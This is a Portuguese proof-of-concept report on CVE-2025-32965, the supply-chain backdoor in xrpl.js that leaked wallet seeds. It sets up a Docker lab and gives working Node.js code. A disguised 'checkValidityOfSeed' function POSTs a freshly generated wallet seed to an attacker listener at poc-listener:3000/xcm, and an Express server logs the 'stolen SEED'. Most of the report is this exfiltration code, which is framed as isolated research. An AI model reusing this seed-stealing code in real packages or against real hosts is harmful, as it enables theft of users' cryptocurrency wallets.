Compartilhar

CVE-2025-32965 — Relatório do PoC de Ataque à Cadeia de Suprimentos do xrpl.js

Descrição da Vulnerabilidade

Código CVE: CVE-2025-32965
Tipo de Vulnerabilidade: Ataque à Cadeia de Suprimentos (CWE-506: Código Malicioso Embutido)
Alvo: versões 4.2.1–4.2.4 e 2.14.2 da biblioteca xrpl.js
Impacto: envio dos dados de seed/secret da carteira do usuário para o atacante

Objetivo

Este PoC tem como objetivo demonstrar, em um ambiente isolado, como uma versão maliciosa do xrpl.js pode realizar a exfiltração (vazamento) de seed.

Estrutura do Ambiente

Plataforma: Docker (Ubuntu baseado em WSL)
Rede: rede Docker privada chamada xrplnet
Contêineres:
- poc-listener: servidor do atacante que coleta os dados de seed
- xrpl-poc: contêiner do PoC que hospeda os scripts de teste do lado da vítima

Arquivos Utilizados

package.json:

{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed gönderildi:", seed);
}

module.exports = { checkValidityOfSeed };

const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Çalınan SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log(" Listener aktif: http://poc-listener:3000/xcm")
})